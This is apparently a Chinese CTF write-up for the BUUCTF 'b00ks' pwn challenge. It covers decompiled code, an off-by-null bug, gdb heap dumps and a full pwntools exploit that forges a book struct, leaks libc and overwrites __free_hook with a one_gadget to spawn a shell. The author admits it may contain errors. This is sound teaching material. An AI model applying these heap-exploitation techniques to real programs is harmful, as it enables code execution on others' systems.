具体的题目文件都可以在buuctf里面找到
首先先看主函数
上面都是一堆初始化,从sub_B6D(v3)开始看,这个也是漏洞存在的地方
让你输入作者的名字,跟进入sub_9f5这个函数
他会把你输入的字符一个一个输进去,最后判断是否达到最大a2=32或者换行(ida把换行弄成10了)然后退出判断,可是最后有个赋值0的操作,假如输入最大字符数32,那么下面这个会把第33个字符给搞成00,也就是我们俗称的off-by-null
先看看创建一个块后,内存的情况
def dbg():
gdb.attach(r)
pause()
def add(name_size,name,content_size,content):
r.sendlineafter('> ','1')
r.sendlineafter('size: ',str(name_size))
r.sendlineafter('chars): ',name)
r.sendlineafter('size: ',str(content_size))
r.sendlineafter('tion: ',content)
def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ',str(index))
def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ',str(index))
r.sendlineafter('ption: ',content)
def show():
r.sendlineafter('> ','4')
def change(author_name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ',author_name)
r.sendlineafter('name: ', 'a' * 0x1f + 'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') #chunk1
dbg()
先输入命令找到写作者名字的那块内存空间
找到了就是0x5589f0ddc040这个
然后查看这块内存
x/40gx 0x5589f0ddc040
0x5589f0ddc040: 0x6161616161616161 0x6161616161616161
0x5589f0ddc050: 0x6161616161616161 0x6261616161616161
0x5589f0ddc060: 0x00005589f280d130 0x0000000000000000
0x5589f0ddc070: 0x0000000000000000 0x0000000000000000
0x5589f0ddc080: 0x0000000000000000 0x0000000000000000
0x5589f0ddc090: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0a0: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0b0: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0c0: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0d0: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0e0: 0x0000000000000000 0x0000000000000000
0x5589f0ddc0f0: 0x0000000000000000 0x0000000000000000
到这一步先暂停一下,看看其他功能
首先是add
__int64 sub_F55()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+4h] [rbp-1Ch]
void *v3; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *v5; // [rsp+18h] [rbp-8h]
v1 = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
ptr = malloc(v1);
if ( !ptr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)sub_9F5(ptr, v1 - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
v1 = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
v5 = malloc(v1);
if ( v5 )
{
printf("Enter book description: ");
if ( (unsigned int)sub_9F5(v5, v1 - 1) )
{
printf("Unable to read description");
}
else
{
v2 = sub_B24();
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( ptr )
free(ptr);
if ( v5 )
free(v5);
if ( v3 )
free(v3);
return 1LL;
}
add创建从块体结构不简单
先是输入name 的size
其次是书名
然后书内容大小
以及书内容
主要是看这一块
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
v1是书内容大小,v3是存放这个结构体的块,v5是书内容,ptr是书名,然后unk_202024是id
存放这个结构体的块的地址给了off_202010+块id存着
所以这样一看结构题很明显了
大概是这样的
struct book_struct
{
int id;
void *book_name;
void *book_description;
int description_size;
}
从这个知道,作者名块后面挨着存放块1的地址
上图是作者名,大小是0x20,后面跟的地址看一下
就是创建的块1的结构体地址
注意有人可能会问add函数里面的 *((_DWORD *)v3 + 6),为啥是个+6
因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3
不影响,调试看看就明白了
然后是show和edit以及delete代码
delete
__int64 sub_BBD()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));
free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));
free(*((void **)off_202010 + i));
*((_QWORD *)off_202010 + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}
edit
__int64 sub_E17()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)sub_9F5(
*(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
*(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}
show
int sub_D1F()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)off_202010 + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)off_202010 + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
}
}
return v0;
}
(需要注意的是show里面最后打印的是作者名,printf是遇见/00截断的,所以会打印出第一个块的结构体地址
还有就是edit函数,修改的书内容,不是书名字看看最后的是+16(+0x10)就是结构体第三个)
这样思路清晰的很多
先看看一个块细节
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5589f280c000
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x5589f280d010
Size: 0xe1
Allocated chunk | PREV_INUSE
Addr: 0x5589f280d0f0
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x5589f280d120
Size: 0x31
Top chunk | PREV_INUSE
Addr: 0x5589f280d150
Size: 0x20eb1
pwndbg> x/100gx 0x5589f280d010
0x5589f280d010: 0x0000000000000000 0x00000000000000e1
0x5589f280d020: 0x0000000061616161 0x0000000000000000
0x5589f280d030: 0x0000000000000000 0x0000000000000000
0x5589f280d040: 0x0000000000000000 0x0000000000000000
0x5589f280d050: 0x0000000000000000 0x0000000000000000
0x5589f280d060: 0x0000000000000000 0x0000000000000000
0x5589f280d070: 0x0000000000000000 0x0000000000000000
0x5589f280d080: 0x0000000000000000 0x0000000000000000
0x5589f280d090: 0x0000000000000000 0x0000000000000000
0x5589f280d0a0: 0x0000000000000000 0x0000000000000000
0x5589f280d0b0: 0x0000000000000000 0x0000000000000000
0x5589f280d0c0: 0x0000000000000000 0x0000000000000000
0x5589f280d0d0: 0x0000000000000000 0x0000000000000000
0x5589f280d0e0: 0x0000000000000000 0x0000000000000000
0x5589f280d0f0: 0x0000000000000000 0x0000000000000031
0x5589f280d100: 0x0000000062626262 0x0000000000000000
0x5589f280d110: 0x0000000000000000 0x0000000000000000
0x5589f280d120: 0x0000000000000000 0x0000000000000031
0x5589f280d130: 0x0000000000000001 0x00005589f280d020
0x5589f280d140: 0x00005589f280d100 0x0000000000000020
0x5589f280d150: 0x0000000000000000 0x0000000000020eb1
0x5589f280d160: 0x0000000000000000 0x0000000000000000
0x5589f280d170: 0x0000000000000000 0x0000000000000000
0x5589f280d180: 0x0000000000000000 0x0000000000000000
0x5589f280d190: 0x0000000000000000 0x0000000000000000
0x5589f280d1a0: 0x0000000000000000 0x0000000000000000
0x5589f280d1b0: 0x0000000000000000 0x0000000000000000
0x5589f280d1c0: 0x0000000000000000 0x0000000000000000
0x5589f280d1d0: 0x0000000000000000 0x0000000000000000
0x5589f280d1e0: 0x0000000000000000 0x0000000000000000
0x5589f280d1f0: 0x0000000000000000 0x0000000000000000
0x5589f280d200: 0x0000000000000000 0x0000000000000000
0x5589f280d210: 0x0000000000000000 0x0000000000000000
0x5589f280d220: 0x0000000000000000 0x0000000000000000
0x5589f280d230: 0x0000000000000000 0x0000000000000000
0x5589f280d240: 0x0000000000000000 0x0000000000000000
0x5589f280d250: 0x0000000000000000 0x0000000000000000
0x5589f280d260: 0x0000000000000000 0x0000000000000000
0x5589f280d270: 0x0000000000000000 0x0000000000000000
0x5589f280d280: 0x0000000000000000 0x0000000000000000
0x5589f280d290: 0x0000000000000000 0x0000000000000000
0x5589f280d2a0: 0x0000000000000000 0x0000000000000000
0x5589f280d2b0: 0x0000000000000000 0x0000000000000000
0x5589f280d2c0: 0x0000000000000000 0x0000000000000000
0x5589f280d2d0: 0x0000000000000000 0x0000000000000000
0x5589f280d2e0: 0x0000000000000000 0x0000000000000000
0x5589f280d2f0: 0x0000000000000000 0x0000000000000000
0x5589f280d300: 0x0000000000000000 0x0000000000000000
0x5589f280d310: 0x0000000000000000 0x0000000000000000
0x5589f280d320: 0x0000000000000000 0x0000000000000000
按照区域划分一下
因为结构体块里面有两个块,分别是name块和des块
上图为name块
上图是des块
这个是存放块1结构体的块
很明显看到存放块1结构体的块两个特别的大数据分别指向上面两个块数据地址
思路就是通过
off-by-null
把最后字节覆盖为00,这样块1的结构体地址就变成0x00005589f280d100,我们只要在0x00005589f280d100这个地方伪造一个book1结构体,就可以任意地址写内容了,更巧的是这个地址就是book1的des块地址,所以构造book结构体块就在这里了,用edit(1)就可以了。
我们先show把book1的结构体地址得到
代码如下
r.sendlineafter('name: ', b'a' * 0x1f + b'b')
add(0xd0, 'aaaa', 0x20, 'bbbb')
dbg()
show()
r.recvuntil('aaaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))
然后在创建两个块便于利用
add(0x80, 'aaaa', 0x50, 'bbbb')
add(0x10, 'aaa', 0x20, 'cccc')
把块2删除进入usordbin,就可以把fd变成main+88
然后开始伪造book结构体
p1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)
dbg()
edit(1, p1)
change('a' * 0x20)
可以看到已经伪造好了,然后change就把最后一个字节变成00了
book结构体地址就指向book1的des地址了
payload1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)
在解释一下这个怎么来的
将book1的name的地址给改成book2的description,book1的des的地址改成book3的description
0x1b0就是0x30 + 0x90 + 0xe0 + 0x10
然后show就会把book1伪造的结构体指向book2的des打印出来,里面就有main+88
而main-0x10就是
实现代码
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
就是常规偏移计算
libc = ELF('/root/桌面/libc-2.23-64.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
因为伪造之后book1结构体内容分别指向book2的des和book3的des
然后修改1,就是修改伪造的1,也就是修改book3的des
将1的desc改成free_hook,此时3的desc为free_hook,再将3的desc改成one_gadget。也就是free_hook变成 了one_gadget。,修改之后情况如下
payload2 = p64(free_hook) + p64(0)
edit(1, payload2)
dbg()
edit(3, p64(one_gadget))
3的des就变成free——hook地址
然后在修改3为one_gadege,就会free_hook变成 了one_gadget
最后delete(1)就是->free_hook->one_gadget->getshell
完结
(写崩了,越写越乱,可能是时间短,有错误的地方,师傅们说一下)
附上完整exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = '/root/桌面/b00ks'
debug = 0
if debug:
r = remote('node4.buuoj.cn', 27049)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
def add(name_size,name,content_size,content):
r.sendlineafter('> ','1')
r.sendlineafter('size: ',str(name_size))
r.sendlineafter('chars): ',name)
r.sendlineafter('size: ',str(content_size))
r.sendlineafter('tion: ',content)
def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ',str(index))
def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ',str(index))
r.sendlineafter('ption: ',content)
def show():
r.sendlineafter('> ','4')
def change(author_name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ',author_name)
r.sendlineafter('name: ', b'a' * 0x1f + b'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') #1
dbg()
show()
r.recvuntil('aaaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))
add(0x80, 'aaaa', 0x50, 'bbbb') #2
add(0x10, 'aaa', 0x20, 'cccc')
delete(2)
payload1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x1b0) + p64(0x20)
dbg()
edit(1, payload1)
change('a' * 0x20)
dbg()
show()
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/root/桌面/libc-2.23-64.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
payload2 = p64(free_hook) + p64(0)
edit(1, payload2)
dbg()
edit(3, p64(one_gadget))
delete(1)
r.interactive()
#dbg()
参考博客这位师傅思路